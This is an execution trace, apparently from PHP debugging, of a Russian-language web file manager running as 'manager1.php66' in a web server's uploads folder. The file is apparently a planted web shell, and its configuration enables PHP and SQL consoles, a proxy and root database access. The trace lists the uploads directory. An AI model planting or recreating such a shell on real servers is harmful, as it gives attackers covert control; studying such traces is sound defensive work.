1		A						/var/www/html/uploads/manager1.php66	48	$fm_default_config = ['make_directory' => TRUE, 'new_file' => TRUE, 'upload_file' => TRUE, 'show_dir_size' => FALSE, 'show_img' => TRUE, 'show_php_ver' => TRUE, 'show_php_ini' => FALSE, 'show_gt' => TRUE, 'enable_php_console' => TRUE, 'enable_sql_console' => TRUE, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => TRUE, 'show_phpinfo' => TRUE, 'show_xls' => TRUE, 'fm_settings' => TRUE]
1		A						/var/www/html/uploads/manager1.php66	68	$fm_config = ['make_directory' => TRUE, 'new_file' => TRUE, 'upload_file' => TRUE, 'show_dir_size' => FALSE, 'show_img' => TRUE, 'show_php_ver' => TRUE, 'show_php_ini' => FALSE, 'show_gt' => TRUE, 'enable_php_console' => TRUE, 'enable_sql_console' => TRUE, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => TRUE, 'show_phpinfo' => TRUE, 'show_xls' => TRUE, 'fm_settings' => TRUE]
1		A						/var/www/html/uploads/manager1.php66	76	$language = 'ru'
1		A						/var/www/html/uploads/manager1.php66	94	$language = 'ru'
1		A						/var/www/html/uploads/manager1.php66	99	$lang['Add'] = 'Добавить'
1		A						/var/www/html/uploads/manager1.php66	100	$lang['Are you sure you want to delete this directory (recursively)?'] = 'Вы уверены, что хотите удалить эту папку (рекурсивно)?'
1		A						/var/www/html/uploads/manager1.php66	101	$lang['Are you sure you want to delete this file?'] = 'Вы уверены, что хотите удалить этот файл?'
1		A						/var/www/html/uploads/manager1.php66	102	$lang['Archiving'] = 'Архивировать'
1		A						/var/www/html/uploads/manager1.php66	103	$lang['Authorization'] = 'Авторизация'
1		A						/var/www/html/uploads/manager1.php66	104	$lang['Back'] = 'Назад'
1		A						/var/www/html/uploads/manager1.php66	105	$lang['Cancel'] = 'Отмена'
1		A						/var/www/html/uploads/manager1.php66	106	$lang['Chinese'] = 'Китайский'
1		A						/var/www/html/uploads/manager1.php66	107	$lang['Compress'] = 'Сжать'
1		A						/var/www/html/uploads/manager1.php66	108	$lang['Console'] = 'Консоль'
1		A						/var/www/html/uploads/manager1.php66	109	$lang['Cookie'] = 'Куки'
1		A						/var/www/html/uploads/manager1.php66	110	$lang['Created'] = 'Создан'
1		A						/var/www/html/uploads/manager1.php66	111	$lang['Date'] = 'Дата'
1		A						/var/www/html/uploads/manager1.php66	112	$lang['Days'] = 'Дней'
1		A						/var/www/html/uploads/manager1.php66	113	$lang['Decompress'] = 'Распаковать'
1		A						/var/www/html/uploads/manager1.php66	114	$lang['Delete'] = 'Удалить'
1		A						/var/www/html/uploads/manager1.php66	115	$lang['Deleted'] = 'Удалено'
1		A						/var/www/html/uploads/manager1.php66	116	$lang['Download'] = 'Скачать'
1		A						/var/www/html/uploads/manager1.php66	117	$lang['done'] = 'закончена'
1		A						/var/www/html/uploads/manager1.php66	118	$lang['Edit'] = 'Редактировать'
1		A						/var/www/html/uploads/manager1.php66	119	$lang['Enter'] = 'Вход'
1		A						/var/www/html/uploads/manager1.php66	120	$lang['English'] = 'Английский'
1		A						/var/www/html/uploads/manager1.php66	121	$lang['Error occurred'] = 'Произошла ошибка'
1		A						/var/www/html/uploads/manager1.php66	122	$lang['File manager'] = 'Файловый менеджер'
1		A						/var/www/html/uploads/manager1.php66	123	$lang['File selected'] = 'Выбран файл'
1		A						/var/www/html/uploads/manager1.php66	124	$lang['File updated'] = 'Файл сохранен'
1		A						/var/www/html/uploads/manager1.php66	125	$lang['Filename'] = 'Имя файла'
1		A						/var/www/html/uploads/manager1.php66	126	$lang['Files uploaded'] = 'Файл загружен'
1		A						/var/www/html/uploads/manager1.php66	127	$lang['French'] = 'Французский'
1		A						/var/www/html/uploads/manager1.php66	128	$lang['German'] = 'Немецкий'
1		A						/var/www/html/uploads/manager1.php66	129	$lang['Generation time'] = 'Генерация страницы'
1		A						/var/www/html/uploads/manager1.php66	130	$lang['Home'] = 'Домой'
1		A						/var/www/html/uploads/manager1.php66	131	$lang['Quit'] = 'Выход'
1		A						/var/www/html/uploads/manager1.php66	132	$lang['Language'] = 'Язык'
1		A						/var/www/html/uploads/manager1.php66	133	$lang['Login'] = 'Логин'
1		A						/var/www/html/uploads/manager1.php66	134	$lang['Manage'] = 'Управление'
1		A						/var/www/html/uploads/manager1.php66	135	$lang['Make directory'] = 'Создать папку'
1		A						/var/www/html/uploads/manager1.php66	136	$lang['Name'] = 'Наименование'
1		A						/var/www/html/uploads/manager1.php66	137	$lang['New'] = 'Новое'
1		A						/var/www/html/uploads/manager1.php66	138	$lang['New file'] = 'Новый файл'
1		A						/var/www/html/uploads/manager1.php66	139	$lang['no files'] = 'нет файлов'
1		A						/var/www/html/uploads/manager1.php66	140	$lang['Password'] = 'Пароль'
1		A						/var/www/html/uploads/manager1.php66	141	$lang['pictures'] = 'изображения'
1		A						/var/www/html/uploads/manager1.php66	142	$lang['Recursively'] = 'Рекурсивно'
1		A						/var/www/html/uploads/manager1.php66	143	$lang['Rename'] = 'Переименовать'
1		A						/var/www/html/uploads/manager1.php66	144	$lang['Reset'] = 'Сбросить'
1		A						/var/www/html/uploads/manager1.php66	145	$lang['Reset settings'] = 'Сбросить настройки'
1		A						/var/www/html/uploads/manager1.php66	146	$lang['Result'] = 'Результат'
1		A						/var/www/html/uploads/manager1.php66	147	$lang['Rights'] = 'Права'
1		A						/var/www/html/uploads/manager1.php66	148	$lang['Russian'] = 'Русский'
1		A						/var/www/html/uploads/manager1.php66	149	$lang['Save'] = 'Сохранить'
1		A						/var/www/html/uploads/manager1.php66	150	$lang['Select'] = 'Выберите'
1		A						/var/www/html/uploads/manager1.php66	151	$lang['Select the file'] = 'Выберите файл'
1		A						/var/www/html/uploads/manager1.php66	152	$lang['Settings'] = 'Настройка'
1		A						/var/www/html/uploads/manager1.php66	153	$lang['Show'] = 'Показать'
1		A						/var/www/html/uploads/manager1.php66	154	$lang['Size'] = 'Размер'
1		A						/var/www/html/uploads/manager1.php66	155	$lang['Spanish'] = 'Испанский'
1		A						/var/www/html/uploads/manager1.php66	156	$lang['Submit'] = 'Отправить'
1		A						/var/www/html/uploads/manager1.php66	157	$lang['Task'] = 'Задача'
1		A						/var/www/html/uploads/manager1.php66	158	$lang['templates'] = 'шаблоны'
1		A						/var/www/html/uploads/manager1.php66	159	$lang['Show size of the folder'] = 'Показать размер папки'
1		A						/var/www/html/uploads/manager1.php66	160	$lang['Ukrainian'] = 'Украинский'
1		A						/var/www/html/uploads/manager1.php66	161	$lang['Upload'] = 'Загрузить'
1		A						/var/www/html/uploads/manager1.php66	162	$lang['Value'] = 'Значение'
1		A						/var/www/html/uploads/manager1.php66	163	$lang['Hello'] = 'Привет'
2	14	0	0.004184	946776	__	1		/var/www/html/uploads/manager1.php66	962	1	'File manager'
2	14	1	0.004199	946800
2	14	R			'Файловый менеджер'
2	15	0	0.004322	955104	fm_home_style	1		/var/www/html/uploads/manager1.php66	1048	0
2	15	1	0.004336	955104
2	15	R			'\ninput, input.fm_input {\n    text-indent: 2px;\n}\ninput, textarea, select, input.fm_input {\n    color: black;\n    font: normal 8pt Verdana, Arial, Helvetica, sans-serif;\n    border-color: black;\n    background-color: #FCFCFC none !important;\n    border-radius: 0;\n    padding: 2px;\n}\ninput.fm_input {\n    background: #FCFCFC none !important;\n    cursor: pointer;\n}\n.home {\n    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTF'
1		A						/var/www/html/uploads/manager1.php66	1067	$url_inc = '?fm=true'
1		A						/var/www/html/uploads/manager1.php66	1272	$msg = ''
2	16	0	0.004400	955104	__	1		/var/www/html/uploads/manager1.php66	1380	1	'File manager'
2	16	1	0.004414	955104
2	16	R			'Файловый менеджер'
2	17	0	0.004431	955104	fm_home	1		/var/www/html/uploads/manager1.php66	1392	1	???
3	18	0	0.004444	955104	fm_url	1		/var/www/html/uploads/manager1.php66	742	1	FALSE
3		A						/var/www/html/uploads/manager1.php66	737	$host = '.'
4	19	0	0.004473	955136	basename	0		/var/www/html/uploads/manager1.php66	738	1	'/var/www/html/uploads/manager1.php66'
4	19	1	0.004490	955208
4	19	R			'manager1.php66'
3	18	1	0.004505	955152
3	18	R			'./manager1.php66'
3	20	0	0.004519	955184	__	1		/var/www/html/uploads/manager1.php66	742	1	'Home'
3	20	1	0.004532	955184
3	20	R			'Домой'
2	17	1	0.004546	955264
2	17	R			'&nbsp;<a href="./manager1.php66" title="Домой"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>'
2	21	0	0.004567	955104	__	1		/var/www/html/uploads/manager1.php66	1399	1	'Make directory'
2	21	1	0.004580	955104
2	21	R			'Создать папку'
2	22	0	0.004595	955104	__	1		/var/www/html/uploads/manager1.php66	1408	1	'New file'
2	22	1	0.004609	955104
2	22	R			'Новый файл'
2	23	0	0.004623	955104	fm_run_input	1		/var/www/html/uploads/manager1.php66	1413	1	'php'
3	24	0	0.004637	955128	fm_url	1		/var/www/html/uploads/manager1.php66	749	1	???
3		A						/var/www/html/uploads/manager1.php66	737	$host = '.'
4	25	0	0.004659	955160	basename	0		/var/www/html/uploads/manager1.php66	738	1	'/var/www/html/uploads/manager1.php66'
4	25	1	0.004673	955232
4	25	R			'manager1.php66'
3	24	1	0.004688	955176
3	24	R			'./manager1.php66'
3	26	0	0.004703	955288	strtoupper	0		/var/www/html/uploads/manager1.php66	750	1	'php'
3	26	1	0.004716	955352
3	26	R			'PHP'
3	27	0	0.004729	955288	__	1		/var/www/html/uploads/manager1.php66	750	1	'Console'
3	27	1	0.004742	955288
3	27	R			'Консоль'
2		A						/var/www/html/uploads/manager1.php66	752	$return = '\n\t\t<form  method="post" action="./manager1.php66" style="display:inline">\n\t\t<input type="submit" name="phprun" value="PHP Консоль">\n\t\t</form>\n'
2	23	1	0.004775	955320
2	23	R			'\n\t\t<form  method="post" action="./manager1.php66" style="display:inline">\n\t\t<input type="submit" name="phprun" value="PHP Консоль">\n\t\t</form>\n'
2	28	0	0.004797	955128	fm_run_input	1		/var/www/html/uploads/manager1.php66	1416	1	'sql'
3	29	0	0.004811	955128	fm_url	1		/var/www/html/uploads/manager1.php66	749	1	???
3		A						/var/www/html/uploads/manager1.php66	737	$host = '.'
4	30	0	0.004833	955160	basename	0		/var/www/html/uploads/manager1.php66	738	1	'/var/www/html/uploads/manager1.php66'
4	30	1	0.004847	955232
4	30	R			'manager1.php66'
3	29	1	0.004861	955176
3	29	R			'./manager1.php66'
3	31	0	0.004876	955288	strtoupper	0		/var/www/html/uploads/manager1.php66	750	1	'sql'
3	31	1	0.004888	955352
3	31	R			'SQL'
3	32	0	0.004901	955288	__	1		/var/www/html/uploads/manager1.php66	750	1	'Console'
3	32	1	0.004914	955288
3	32	R			'Консоль'
2		A						/var/www/html/uploads/manager1.php66	752	$return = '\n\t\t<form  method="post" action="./manager1.php66" style="display:inline">\n\t\t<input type="submit" name="sqlrun" value="SQL Консоль">\n\t\t</form>\n'
2	28	1	0.004947	955320
2	28	R			'\n\t\t<form  method="post" action="./manager1.php66" style="display:inline">\n\t\t<input type="submit" name="sqlrun" value="SQL Консоль">\n\t\t</form>\n'
2	33	0	0.004969	955128	__	1		/var/www/html/uploads/manager1.php66	1429	1	'Select the file'
2	33	1	0.004983	955128
2	33	R			'Выберите файл'
2	34	0	0.004998	955128	__	1		/var/www/html/uploads/manager1.php66	1430	1	'Upload'
2	34	1	0.005011	955128
2	34	R			'Загрузить'
2	35	0	0.005029	955128	__	1		/var/www/html/uploads/manager1.php66	1438	1	'Hello'
2	35	1	0.005042	955128
2	35	R			'Привет'
2	36	0	0.005057	955128	__	1		/var/www/html/uploads/manager1.php66	1439	1	'Quit'
2	36	1	0.005070	955128
2	36	R			'Выход'
2	37	0	0.005084	955128	fm_lang_form	1		/var/www/html/uploads/manager1.php66	1444	1	'ru'
3	38	0	0.005097	955128	__	1		/var/www/html/uploads/manager1.php66	560	1	'Language'
3	38	1	0.005109	955128
3	38	R			'Язык'
3	39	0	0.005123	955352	__	1		/var/www/html/uploads/manager1.php66	561	1	'English'
3	39	1	0.005136	955352
3	39	R			'Английский'
3	40	0	0.005151	955384	__	1		/var/www/html/uploads/manager1.php66	562	1	'German'
3	40	1	0.005163	955384
3	40	R			'Немецкий'
3	41	0	0.005177	955448	__	1		/var/www/html/uploads/manager1.php66	563	1	'Russian'
3	41	1	0.005190	955448
3	41	R			'Русский'
3	42	0	0.005204	955512	__	1		/var/www/html/uploads/manager1.php66	564	1	'French'
3	42	1	0.005217	955512
3	42	R			'Французский'
3	43	0	0.005231	955576	__	1		/var/www/html/uploads/manager1.php66	565	1	'Ukrainian'
3	43	1	0.005244	955576
3	43	R			'Украинский'
2	37	1	0.005259	955640
2	37	R			'\n<form name="change_lang" method="post" action="">\n    <select name="fm_lang" title="Язык" onchange="document.forms[\'change_lang\'].submit()" >\n\t<option value="en" >Английский</option>\n\t<option value="de" >Немецкий</option>\n\t<option value="ru" selected="selected" >Русский</option>\n\t<option value="fr" >Французский</option>\n\t<option value="uk" >Украинский</option>\n    </select>\n</form>\n'
2	44	0	0.005290	955128	__	1		/var/www/html/uploads/manager1.php66	1454	1	'Filename'
2	44	1	0.005303	955128
2	44	R			'Имя файла'
2	45	0	0.005317	955128	__	1		/var/www/html/uploads/manager1.php66	1455	1	'Size'
2	45	1	0.005329	955128
2	45	R			'Размер'
2	46	0	0.005343	955128	__	1		/var/www/html/uploads/manager1.php66	1456	1	'Date'
2	46	1	0.005355	955128
2	46	R			'Дата'
2	47	0	0.005369	955128	__	1		/var/www/html/uploads/manager1.php66	1457	1	'Rights'
2	47	1	0.005382	955128
2	47	R			'Права'
2	48	0	0.005396	955128	__	1		/var/www/html/uploads/manager1.php66	1458	1	'Manage'
2	48	1	0.005408	955128
2	48	R			'Управление'
2	49	0	0.005432	955128	fm_scan_dir	1		/var/www/html/uploads/manager1.php66	1463	4	'/var/www/html/uploads/'	''	'all'	TRUE
2		A						/var/www/html/uploads/manager1.php66	522	$ndir = []
2		A						/var/www/html/uploads/manager1.php66	522	$dir = []
3	50	0	0.005478	955128	is_dir	0		/var/www/html/uploads/manager1.php66	529	1	'/var/www/html/uploads/'
3	50	1	0.005523	955192
3	50	R			TRUE
3	51	0	0.005539	955152	opendir	0		/var/www/html/uploads/manager1.php66	530	1	'/var/www/html/uploads/'
3	51	1	0.005560	955544
3	51	R			resource(4) of type (stream)
2		A						/var/www/html/uploads/manager1.php66	530	$fh = resource(4) of type (stream)
3	52	0	0.005589	955512	readdir	0		/var/www/html/uploads/manager1.php66	531	1	resource(4) of type (stream)
3	52	1	0.005613	955584
3	52	R			'..'
2		A						/var/www/html/uploads/manager1.php66	531	$filename = '..'
3	53	0	0.005638	955544	substr	0		/var/www/html/uploads/manager1.php66	532	3	'..'	0	1
3	53	1	0.005652	955640
3	53	R			'.'
2		A						/var/www/html/uploads/manager1.php66	534	$dir[] = '..'
3	54	0	0.005678	955920	readdir	0		/var/www/html/uploads/manager1.php66	531	1	resource(4) of type (stream)
3	54	1	0.005692	955992
3	54	R			'.'
2		A						/var/www/html/uploads/manager1.php66	531	$filename = '.'
3	55	0	0.005715	955952	substr	0		/var/www/html/uploads/manager1.php66	532	3	'.'	0	1
3	55	1	0.005728	956048
3	55	R			'.'
2		A						/var/www/html/uploads/manager1.php66	534	$dir[] = '.'
3	56	0	0.005751	955952	readdir	0		/var/www/html/uploads/manager1.php66	531	1	resource(4) of type (stream)
3	56	1	0.005765	956032
3	56	R			'prepend.php'
2		A						/var/www/html/uploads/manager1.php66	531	$filename = 'prepend.php'
3	57	0	0.005789	955992	substr	0		/var/www/html/uploads/manager1.php66	532	3	'prepend.php'	0	1
3	57	1	0.005803	956088
3	57	R			'p'
2		A						/var/www/html/uploads/manager1.php66	534	$dir[] = 'prepend.php'
3	58	0	0.005831	955992	readdir	0		/var/www/html/uploads/manager1.php66	531	1	resource(4) of type (stream)
3	58	1	0.005845	956064
3	58	R			'data'
2		A						/var/www/html/uploads/manager1.php66	531	$filename = 'data'
3	59	0	0.005868	956024	substr	0		/var/www/html/uploads/manager1.php66	532	3	'data'	0	1
3	59	1	0.005881	956120
3	59	R			'd'
2		A						/var/www/html/uploads/manager1.php66	534	$dir[] = 'data'
3	60	0	0.005905	956024	readdir	0		/var/www/html/uploads/manager1.php66	531	1	resource(4) of type (stream)
3	60	1	0.005918	956104
3	60	R			'.htaccess'
2		A						/var/www/html/uploads/manager1.php66	531	$filename = '.htaccess'
3	61	0	0.005942	956064	substr	0		/var/www/html/uploads/manager1.php66	532	3	'.htaccess'	0	1
3	61	1	0.005955	956160
3	61	R			'.'
2		A						/var/www/html/uploads/manager1.php66	534	$dir[] = '.htaccess'
3	62	0	0.005979	956064	readdir	0		/var/www/html/uploads/manager1.php66	531	1	resource(4) of type (stream)
3	62	1	0.005992	956144
3	62	R			'manager1.php66'
2		A						/var/www/html/uploads/manager1.php66	531	$filename = 'manager1.php66'
3	63	0	0.006017	956104	substr	0		/var/www/html/uploads/manager1.php66	532	3	'manager1.php66'	0	1
3	63	1	0.006030	956200
3	63	R			'm'
2		A						/var/www/html/uploads/manager1.php66	534	$dir[] = 'manager1.php66'
3	64	0	0.006054	956104	readdir	0		/var/www/html/uploads/manager1.php66	531	1	resource(4) of type (stream)
3	64	1	0.006068	956144
3	64	R			FALSE
2		A						/var/www/html/uploads/manager1.php66	531	$filename = FALSE
3	65	0	0.006092	956104	closedir	0		/var/www/html/uploads/manager1.php66	538	1	resource(4) of type (stream)
3	65	1	0.006109	955920
3	65	R			NULL
3	66	0	0.006122	955904	natsort	0		/var/www/html/uploads/manager1.php66	539	1	[0 => '..', 1 => '.', 2 => 'prepend.php', 3 => 'data', 4 => '.htaccess', 5 => 'manager1.php66']
3	66	1	0.006142	955936
3	66	R			TRUE
2	49	1	0.006155	955856
2	49	R			[1 => '.', 0 => '..', 4 => '.htaccess', 3 => 'data', 5 => 'manager1.php66', 2 => 'prepend.php']
1		A						/var/www/html/uploads/manager1.php66	1463	$elements = [1 => '.', 0 => '..', 4 => '.htaccess', 3 => 'data', 5 => 'manager1.php66', 2 => 'prepend.php']
1		A						/var/www/html/uploads/manager1.php66	1464	$dirs = []
1		A						/var/www/html/uploads/manager1.php66	1465	$files = []
2	67	0	0.006213	955904	is_dir	0		/var/www/html/uploads/manager1.php66	1467	1	'/var/www/html/uploads/.'
2	67	1	0.006230	955944
2	67	R			TRUE
1		A						/var/www/html/uploads/manager1.php66	1468	$dirs[] = '.'
2	68	0	0.006254	956288	is_dir	0		/var/www/html/uploads/manager1.php66	1467	1	'/var/www/html/uploads/..'
2	68	1	0.006270	956336
2	68	R			TRUE
1		A						/var/www/html/uploads/manager1.php66	1468	$dirs[] = '..'
2	69	0	0.006293	956296	is_dir	0		/var/www/html/uploads/manager1.php66	1467	1	'/var/www/html/uploads/.htaccess'
2	69	1	0.006309	956336
2	69	R			FALSE
1		A						/var/www/html/uploads/manager1.php66	1470	$files[] = '.htaccess'
2	70	0	0.006333	956672	is_dir	0		/var/www/html/uploads/manager1.php66	1467	1	'/var/www/html/uploads/data'
2	70	1	0.006348	956712
2	70	R			TRUE
1		A						/var/www/html/uploads/manager1.php66	1468	$dirs[] = 'data'
2	71	0	0.006372	956680	is_dir	0		/var/www/html/uploads/manager1.php66	1467	1	'/var/www/html/uploads/manager1.php66'
2	71	1	0.006387	956728
2	71	R			FALSE
1		A						/var/www/html/uploads/manager1.php66	1470	$files[] = 'manager1.php66'
2	72	0	0.006410	956688	is_dir	0		/var/www/html/uploads/manager1.php66	1467	1	'/var/www/html/uploads/prepend.php'
2	72	1	0.006426	956728
2	72	R			FALSE
1		A						/var/www/html/uploads/manager1.php66	1470	$files[] = 'prepend.php'
2	73	0	0.006450	956648	natsort	0		/var/www/html/uploads/manager1.php66	1473	1	[0 => '.', 1 => '..', 2 => 'data']
2	73	1	0.006465	956680
2	73	R			TRUE
2	74	0	0.006478	956672	natsort	0		/var/www/html/uploads/manager1.php66	1473	1	[0 => '.htaccess', 1 => 'manager1.php66', 2 => 'prepend.php']
2	74	1	0.006494	956704
2	74	R			TRUE
2	75	0	0.006506	956672	array_merge	0		/var/www/html/uploads/manager1.php66	1474	2	[0 => '.', 1 => '..', 2 => 'data']	[0 => '.htaccess', 1 => 'manager1.php66', 2 => 'prepend.php']
2	75	1	0.006526	957112
2	75	R			[0 => '.', 1 => '..', 2 => 'data', 3 => '.htaccess', 4 => 'manager1.php66', 5 => 'prepend.php']
1		A						/var/www/html/uploads/manager1.php66	1474	$elements = [0 => '.', 1 => '..', 2 => 'data', 3 => '.htaccess', 4 => 'manager1.php66', 5 => 'prepend.php']
1		A						/var/www/html/uploads/manager1.php66	1477	$filename = '/var/www/html/uploads/.'
2	76	0	0.006578	956720	stat	0		/var/www/html/uploads/manager1.php66	1478	1	'/var/www/html/uploads/.'
2	76	1	0.006595	958496
2	76	R			[0 => 2049, 1 => 524474, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676249439, 9 => 1676249439, 10 => 1676249439, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524474, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676249439, 'mtime' => 1676249439, 'ctime' => 1676249439, 'blksize' => 4096, 'blocks' => 8]
1		A						/var/www/html/uploads/manager1.php66	1478	$filedata = [0 => 2049, 1 => 524474, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676249439, 9 => 1676249439, 10 => 1676249439, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524474, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676249439, 'mtime' => 1676249439, 'ctime' => 1676249439, 'blksize' => 4096, 'blocks' => 8]
2	77	0	0.006657	958456	is_dir	0		/var/www/html/uploads/manager1.php66	1479	1	'/var/www/html/uploads/.'
2	77	1	0.006670	958496
2	77	R			TRUE
1		A						/var/www/html/uploads/manager1.php66	1480	$filedata[7] = ''
2	78	0	0.006697	958536	__	1		/var/www/html/uploads/manager1.php66	1482	1	'Show'
2	78	1	0.006711	958536
2	78	R			'Показать'
1		A						/var/www/html/uploads/manager1.php66	1482	$link = '<a href="?fm=true&path=/var/www/html/uploads/." title="Показать ."><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> .</a>'
2	79	0	0.006743	958616	fm_root	1		/var/www/html/uploads/manager1.php66	1483	1	'.'
2	79	1	0.006757	958616
2	79	R			TRUE
1		A						/var/www/html/uploads/manager1.php66	1483	$loadlink = ''
2	80	0	0.006781	958616	fm_root	1		/var/www/html/uploads/manager1.php66	1484	1	'.'
2	80	1	0.006794	958616
2	80	R			TRUE
1		A						/var/www/html/uploads/manager1.php66	1484	$arlink = ''
1		A						/var/www/html/uploads/manager1.php66	1485	$style = 'row2'
2	81	0	0.006827	958616	fm_root	1		/var/www/html/uploads/manager1.php66	1486	1	'.'
2	81	1	0.006840	958616
2	81	R			TRUE
1		A						/var/www/html/uploads/manager1.php66	1486	$alert = ''
2	82	0	0.006863	958616	fm_root	1		/var/www/html/uploads/manager1.php66	1503	1	'.'
2	82	1	0.006875	958616
2	82	R			TRUE
1		A						/var/www/html/uploads/manager1.php66	1503	$deletelink = ''
2	83	0	0.006899	958616	fm_root	1		/var/www/html/uploads/manager1.php66	1504	1	'.'
2	83	1	0.006911	958616
2	83	R			TRUE
1		A						/var/www/html/uploads/manager1.php66	1504	$renamelink = ''
1		A						/var/www/html/uploads/manager1.php66	1505	$rightstext = ''
2	84	0	0.006987	958616	gmdate	0		/var/www/html/uploads/manager1.php66	1510	2	'Y-m-d H:i:s'	1676249439
2	84	1	0.007005	958944
2	84	R			'2023-02-13 00:50:39'
1		A						/var/www/html/uploads/manager1.php66	1477	$filename = '/var/www/html/uploads/..'
2	85	0	0.007033	958624	stat	0		/var/www/html/uploads/manager1.php66	1478	1	'/var/www/html/uploads/..'
2	85	1	0.007051	960424
2	85	R			[0 => 2049, 1 => 524470, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676249439, 9 => 1676249439, 10 => 1676249439, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524470, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676249439, 'mtime' => 1676249439, 'ctime' => 1676249439, 'blksize' => 4096, 'blocks' => 8]
1		A						/var/www/html/uploads/manager1.php66	1478	$filedata = [0 => 2049, 1 => 524470, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676249439, 9 => 1676249439, 10 => 1676249439, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524470, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676249439, 'mtime' => 1676249439, 'ctime' => 1676249439, 'blksize' => 4096, 'blocks' => 8]
2	86	0	0.007112	958632	is_dir	0		/var/www/html/uploads/manager1.php66	1479	1	'/var/www/html/uploads/..'
2	86	1	0.007126	958672
2	86	R			TRUE
1		A						/var/www/html/uploads/manager1.php66	1480	$filedata[7] = ''
2	87	0	0.007151	958728	__	1		/var/www/html/uploads/manager1.php66	1482	1	'Show'
2	87	1	0.007164	958728
2	87	R			'Показать'
1		A						/var/www/html/uploads/manager1.php66	1482	$link = '<a href="?fm=true&path=/var/www/html/uploads/.." title="Показать .."><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> ..</a>'
2	88	0	0.007197	958664	fm_root	1		/var/www/html/uploads/manager1.php66	1483	1	'..'
2	88	1	0.007210	958664
2	88	R			TRUE
1		A						/var/www/html/uploads/manager1.php66	1483	$loadlink = ''
2	89	0	0.007234	958664	fm_root	1		/var/www/html/uploads/manager1.php66	1484	1	'..'
2	89	1	0.007246	958664
2	89	R			TRUE
1		A						/var/www/html/uploads/manager1.php66	1484	$arlink = ''
1		A						/var/www/html/uploads/manager1.php66	1485	$style = 'row2'
2	90	0	0.007285	958664	fm_root	1		/var/www/html/uploads/manager1.php66	1486	1	'..'
2	90	1	0.007298	958664
2	90	R			TRUE
1		A						/var/www/html/uploads/manager1.php66	1486	$alert = ''
2	91	0	0.007320	958664	fm_root	1		/var/www/html/uploads/manager1.php66	1503	1	'..'
2	91	1	0.007333	958664
2	91	R			TRUE
1		A						/var/www/html/uploads/manager1.php66	1503	$deletelink = ''
2	92	0	0.007356	958664	fm_root	1		/var/www/html/uploads/manager1.php66	1504	1	'..'
2	92	1	0.007368	958664
2	92	R			TRUE
1		A						/var/www/html/uploads/manager1.php66	1504	$renamelink = ''
1		A						/var/www/html/uploads/manager1.php66	1505	$rightstext = ''
2	93	0	0.007403	958664	gmdate	0		/var/www/html/uploads/manager1.php66	1510	2	'Y-m-d H:i:s'	1676249439
2	93	1	0.007419	958992
2	93	R			'2023-02-13 00:50:39'
1		A						/var/www/html/uploads/manager1.php66	1477	$filename = '/var/www/html/uploads/data'
2	94	0	0.007446	958664	stat	0		/var/www/html/uploads/manager1.php66	1478	1	'/var/www/html/uploads/data'
2	94	1	0.007465	960456
2	94	R			[0 => 2049, 1 => 524475, 2 => 16895, 3 => 2, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676249439, 9 => 1676249439, 10 => 1676249439, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524475, 'mode' => 16895, 'nlink' => 2, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676249439, 'mtime' => 1676249439, 'ctime' => 1676249439, 'blksize' => 4096, 'blocks' => 8]
1		A						/var/www/html/uploads/manager1.php66	1478	$filedata = [0 => 2049, 1 => 524475, 2 => 16895, 3 => 2, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676249439, 9 => 1676249439, 10 => 1676249439, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524475, 'mode' => 16895, 'nlink' => 2, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676249439, 'mtime' => 1676249439, 'ctime' => 1676249439, 'blksize' => 4096, 'blocks' => 8]
2	95	0	0.007528	958664	is_dir	0		/var/www/html/uploads/manager1.php66	1479	1	'/var/www/html/uploads/data'
2	95	1	0.007541	958704
2	95	R			TRUE
1		A						/var/www/html/uploads/manager1.php66	1480	$filedata[7] = ''
2	96	0	0.007567	958760	__	1		/var/www/html/uploads/manager1.php66	1482	1	'Show'
2	96	1	0.007581	958760
2	96	R			'Показать'
1		A						/var/www/html/uploads/manager1.php66	1482	$link = '<a href="?fm=true&path=/var/www/html/uploads/data" title="Показать data"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> data</a>'
2	97	0	0.007613	958664	fm_root	1		/var/www/html/uploads/manager1.php66	1483	1	'data'
2	97	1	0.007626	958664
2	97	R			FALSE
2	98	0	0.007640	958664	__	1		/var/www/html/uploads/manager1.php66	1483	1	'Compress'
2	98	1	0.007653	958664
2	98	R			'Сжать'
2	99	0	0.007667	958712	__	1		/var/www/html/uploads/manager1.php66	1483	1	'Archiving'
2	99	1	0.007681	958712
2	99	R			'Архивировать'
